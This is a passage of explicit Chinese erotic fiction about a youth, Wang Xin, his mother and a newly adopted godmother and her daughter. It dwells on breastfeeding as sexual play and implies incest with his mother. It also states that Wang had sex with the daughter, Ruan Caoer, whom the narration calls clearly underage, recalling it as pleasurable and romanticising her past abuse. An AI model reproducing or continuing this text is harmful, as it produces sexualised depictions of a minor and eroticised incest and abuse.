像小时候躺在母亲的怀里喝奶一样。」说着,王鑫看了看母亲一样,只见母亲也
是一脸的怀恋,仿佛在回想小时候给儿子哺乳的情形。「干妈,我是真的把你也
当成了我的妈妈,求求你,不要抛下我好不好。」

面对王鑫的撒娇,阮玉珠感到眼前一阵模糊,她仿佛依稀的看见少女时代的
自己,不得不与骨肉分离,永远都无法相见,如果自己的大儿子还活着的话,那
应该跟王鑫差不多年纪吧,想到这儿,王鑫仿佛真的化身为自己从未见过的儿子,
顿时一阵心悸,哭出声来,好半晌才勉强止住,轻轻的抬起头,泪眼婆娑的看着
王鑫说道:「孩子,我苦命的孩子,你真的不嫌弃我是个肮脏透顶的女人吗?」

王鑫坚定的摇摇头,虽然他不知道阮玉珠之前到底发生过什么,但是他并不
在乎,这会儿,他只想让面前这个女人开心,欢笑。他的这个目的达到了,阮玉
珠悲苦的神情逐渐发生了变化,虽然泪水还在流淌,但是面上却已经浮现出淡淡
的笑容,她轻轻的用另一手抚摸上王鑫的面颊,仔细的端详着对方的容貌。

王鑫一动不动的保持微笑看着对方,好一会儿,阮玉珠的泪水不知何时悄悄
止住,在少年的目光中,她的面颊升起两朵红云,虽然有些微微虚弱的神色,但
是看得出,情绪已经安定了许多,眼神如水波一般温柔,平添了三分娇柔与妩媚。

王鑫乖巧的轻声说道:「干妈,我可以这么叫你吗?」

阮玉珠轻咬着下唇,终是点点头,说道:「小鑫,干妈会好好伺候你的。」

王鑫闻言,心中自然是欢喜,眼神忍不住瞟了瞟对方硕大的胸部,却不曾想
自己的一举一动完全落在阮玉珠的眼睛里,她轻笑了下,说道:「小鑫,来。」
说着,她拉了一把,因为他是半跪的姿势,这一拉,王鑫重心不稳,整个人就摔
倒在干吗的怀中,头埋在阮玉珠肉呼呼的小腹上,那里暖暖的,软软的,分外舒
服。

阮玉珠不由分说的撩起衣襟,把真个胸部都漏了出来,她这会儿情绪极为激
动,必须要找些事情让情绪缓和下来,哺乳毫无疑问是最快能让她彻底平静下来
的方法,这表示她已经彻彻底底的得到了这个新家庭的认可。

「还愣着干什么,傻小子。」柳玉洁在一旁看到儿子目瞪口呆的模样,不由
的偷笑道。

王鑫还是第一次认认真真完完全全的看到这对巨乳,这两天虽然醒着,但是
却根本不敢睁开眼,现在终于是可以大饱眼福了。

阮玉珠的乳球大的惊人,如同两枚成熟的椰子一般挂在胸前,因为体积实在
是太大的缘故,没有办法避免下垂,不过并不严重,反而有股沉甸甸的气势,她
的皮肤很白,愈发的衬托乳晕呈现浓重的黑紫色,乳蒂大如花生米,黑黝黝的发
亮,矗立在乳晕中间,分外诱人。

阮玉珠有些羞涩的挺着双乳,腼腆的对王鑫笑道:「小鑫,你真的不讨厌干
妈的奶子吗?我觉得太大了,好丑。」

王鑫不由自主的吞咽了口口水,连声说道:「怎么会丑,怎么会丑,这,这
实在是太漂亮了,干妈,我可以摸摸吗?」

阮玉珠放下了担心,大大方方的笑道:「当然可以,你摸吧。」

王鑫得了允许,哪里还按捺得住,头一昂就吻了上去,第一印象就是软,干
妈的乳房不仅大,软绵度更是一流,用鼻子轻轻一拱,感觉整个脸颊都要陷进去
了,他调皮的把整个脸都埋了进去,用力的拱了几下,却忽然感到脸颊上一阵温
热的感觉,不用猜都知道,定然是奶水,一抬头,果然看到干妈的两枚乳头在缓
缓的泌乳,几个小时前被亵玩一空的双乳此刻已经是充盈鼓胀,迫不及待的喷涌
出来。

阮玉珠一脸的羞赧,温柔的对王鑫说道:「小鑫,干妈的奶水太多,以后你
多帮我吸一点好不好。」

王鑫兴奋的连连点头,哪里会拒绝,立刻探过头去,用舌头刮过乳头,满嘴
的奶香味,深深的让他迷醉其中,受到舌头的刺激,乳头更加汹涌的喷射起来,
王鑫赶忙把头埋上去,把整个乳晕都含进嘴里,舌头裹动着饱胀的乳头,不停的
蠕动着口腔,把一阵阵鲜奶挤入口中,初入口中有淡淡的腥味,但是很快就被浓
郁的香气和异样的刺激所掩盖。他忙碌不停的在两枚乳房上穿梭,但依然有很多
乳汁洒到了外面,把两人的身体都弄湿了,尤其是阮玉珠,她从胸部到腹部,到
处都是白色的斑点,不过对此她并不在意,身为一只性乳牛,被弄得满身乳汁根
本就是司空见惯的事情,反倒是王鑫在喝奶时的温柔劲,让她感到分外的满足,
以往给那些男人喂奶的时候,每次都给自己的乳房上留满牙印,乳头被咬破都是
家常便饭,哪里会有王鑫这般温柔,吮吸的时候都是轻柔挤弄,捧着自己的乳房
就好似在捧着绝世珍宝一般,那股子温柔真是把她的心都给融化了,见他如此喜
欢,真恨不得无时无刻的都让王鑫含着自己的乳头,看着他那欢喜迷醉的模样。

吮到后来,王鑫调皮的将干妈的两枚乳头同时塞到嘴巴里,轻轻的吮弄,好
在阮玉珠的奶子够大,这么做竟然是半点都不费力,温柔的看着干儿子,让王鑫
随意玩弄。

终于把乳房中最后一滴乳汁都被榨了个干净,王鑫这次恋恋不舍的吐出干妈
的奶头,阮玉珠见状笑道:「小鑫,还没喝饱?」

王鑫讪讪的笑了笑,说道:「饱了饱了,不过再有的话,我也还能喝掉,干
妈,你的奶真好喝。」

阮玉珠不好意思的笑道:「傻孩子,都是腥味,有什么好喝的,你妹妹草儿
的才好喝呢。」说着,她一把拉过女儿,将她推到王鑫的面前。

柳玉洁在一旁看得心痒难耐,下体早已湿透,不过这会儿还不是时候,反正
来日方长,于是强忍着欲火,笑道:「是啊,小鑫,草儿的奶水虽然没有她妈的
多,但是味道可比玉珠的还要好。」

对于这么小的女孩就有奶水,王鑫是知道的,毕竟这两天,三对乳房都没少
放到他的嘴里,不过装昏迷的时候,连爱都做过了,现在清醒的状态下,让他对
一个明显未成年的少女做这种事,让他有些下不了手,不由的自嘲道:「这个,
我已经喝饱了,再也喝不下了。」

柳玉洁见到儿子这副模样,笑道:「不喝奶就不能说话了呀,干妈你也认了,
这个干妹妹你打算怎么办?」

王鑫连忙说道:「那自然是当成我自己妹妹一样照顾,绝对不会让人欺负她
的,你们放心。」

阮玉珠含笑点头,看了看女儿,说道:「草儿,哥哥醒了,你不高兴吗?到
现在一句话都没说。」

阮草儿还是低着头,沉默不语,这让阮玉珠颇有些恼火,生怕会惹得柳玉洁
和王鑫不快,正要再说两句,却被王鑫拦了下来。

王鑫缓缓的向少女伸出手,手心向上摊在少女的面前,柔声说道:「初次见
面,我叫王鑫,你愿意做我的妹妹吗?」

阮草儿有些害怕的朝后退了一步,这让阮玉珠颇有些无奈,抱歉了看了看柳
玉洁,见柳玉洁也是无奈的苦笑,只能叹息了一声,看着王鑫,不知道怎么解释。

王鑫却丝毫不为所动,手执着的停在那里,静静的看着少女。

气氛顿时变得静谧下来,三个人的目光都转向了阮草儿,这让少女颇有些无
奈,其实她并不是不高兴王鑫醒来,只是这一切都出乎了她的意料之外,对男人
的恐惧让她一下子就丢掉了勇气,她根本没办法直面这个陌生的哥哥,虽然心底
有一个声音在给自己打气,但是这个声音实在是太弱小了,很快就被无边的恐惧
所掩盖,就在她感到彷徨无助的时候,听到王鑫对两位妈妈说,请她们先出去一
会,很快,房间里就只剩下了他们两个。

王鑫轻轻揉了下太阳穴,微笑道:「草儿,首先我要谢谢你,这段时间多亏
了你和干妈的照顾,不然我还不知道什么时候才能醒呢。」见少女没有半点反应,
他只能苦笑了下,接着说道,「这两天躺在床上,我想了很多,我想起我和母亲
以往生活的点点滴滴,我想起了一切她的无私付出,深深的觉得我自己出了给母
亲带来无穷无尽的烦恼外,似乎什么都没有带给她,当我察觉到母亲和我发生关
系后,我感到既幸福又难过,因为我为了自己的幸福而毁去了妈妈的幸福,我觉
得很愧疚,但是又觉得很幸运,因为在失去的同时,我也获得了一个机会,一个
可以照顾妈妈的机会,只要我让妈妈的下半生过得开心、欢乐,那么这就可以赎
我毁去妈妈幸福的罪,因为没有人会比我更爱我的妈妈。」

阮草儿终于有了一丝反应,并非是因为这段话的触动,而是完全不解,很疑
惑王鑫为什么对她说这些。

见少女终于了有了一丝反应,王鑫微笑着接着说道:「也许你会觉得我刚刚
说的这些跟你并没有什么关系,但是我只想表达一个意思,如果我毁去了你的幸
福,那我一定会用加倍的幸福补偿你。草儿,虽然我不清楚你过去经历过什么,
但我想一定是很痛苦的事情,我不想让你再回想起那些,所以我不会问,也请你
不要告诉我,好吗?」

阮草儿痛苦的颤抖着娇弱的身体,轻轻点点头。

王鑫把手再次伸过去,轻声说道:「草儿,虽然我不想说,但是我们已经发
生了无法改变的关系,我知道这对你不公平,但是我希望你能接受我,让我照顾
你,呵护你,好吗?我不是一定要和你成为那种关系,如果你愿意,我愿意只做
守护你的哥哥,把你当成亲妹妹一样疼爱,保护你,好吗?」

王鑫温柔的话语如同利剑一般刺破了少女看似坚强的内心,在阴霾的心空中
斩出一道可以透入阳光的裂缝,她迟疑的看着面前的手掌,又抬头看了看王鑫,
她努力的想要找出面前这个男人与那些恶魔们的相同点和不同点,但是最终她放
弃了,王鑫温柔的笑容如同阳光一般射入她的心底,迅速的将心底的坚冰一点一
点的融化,她缓缓的抬起手,将纤细小巧的手掌盖在王鑫的手掌上,轻声说道:
「哥哥,我可以相信你吗?」

王鑫用力的点点头,说道:「草儿,我被把你视为我生命中最重要的人之一。」

少年坚定而有力的眼神迅速坚定了阮草儿的决心,她本就是涉世不深的少女,
虽然经历过地狱般的磨难,但是心性并未成熟,如果换成成年人,怕是不会这么
容易就相信王鑫的话语,但是对她而言,这份温柔和这份眼神,就足以将她的心
彻底征服,更何况,刚刚还有母亲的例子活生生的摆在眼前,除了相信这条路外,
她也没有其他路径可以选择。

大手紧紧的握住小手,感受着这股紧握的力量,阮草儿的心不争气的急促跳
动起来,她有些紧张的问道:「哥哥,你喜欢我吗?」

王鑫有些诧异的看着对方,见少女脸颊上飞起的红霞和期盼的眼神,他自然
是不会拂少女的意愿,而且阮草儿给他的印象也是很好,虽然有些内向,但是那
份乖巧听话的模样实在是惹人怜惜,更别说今天在床上的激情,少女柔软无骨的
身躯着实带给他莫大的享受,想到这儿,不禁有些心猿意马,轻声笑道:「那是
自然,我很喜欢草儿呢。」

阮草儿闻言眼神顿时亮了起来,满脸的羞意,好半晌才才轻声说道:「我也
是很喜欢哥哥的。」说完,立刻害羞的低下头,不敢再看向对方。

王鑫这会儿对草儿真是又怜又爱,下意识的将少女揽入怀中,待入怀中后才
有些后怕少女会突然发狂,但是阮草儿只是身躯厉害的抖了一下,旋即就平静了
下来,紧紧的贴着王鑫一动不动,显然是紧张到了极点。

王鑫轻轻的抚摸着少女略显僵硬的身躯,轻轻的哼唱起幼时母亲哄自己入睡
的摇篮曲,美人在怀,偏偏却生不起半分情欲,当真是有一种在安抚小妹妹的感
觉。

阮草儿在经历了晚间的激情欢好和刚刚的紧张后,心力损耗极大,这会儿在
王鑫的怀中,不禁有些倦意上涌,若是先前,定然是没办法安然入睡,但此刻,
只觉得王鑫的臂弯中有一股让人难以抗拒的安全感,让少女直感到心底安详,只
想在这个平静的地方中彻底放下心中的戒虑,渐渐的,轻微的少女鼾声从王鑫的
怀里发出,少年低头看着怀中熟睡的少女,也觉得心底安详至极,不一会儿,竟
也在自己哼唱的摇篮曲中睡着了。

隔壁房间的柳玉洁和阮玉珠等了许久,也不见王鑫的召唤,还以为他没成功,
待小心翼翼的走进主卧室一看,见这兄妹二人相拥熟睡,不禁莞尔,轻手轻脚的
将他们二人放到床上,两人一左一右将他们围在中间,各自想着心事,也是很快
就睡去了。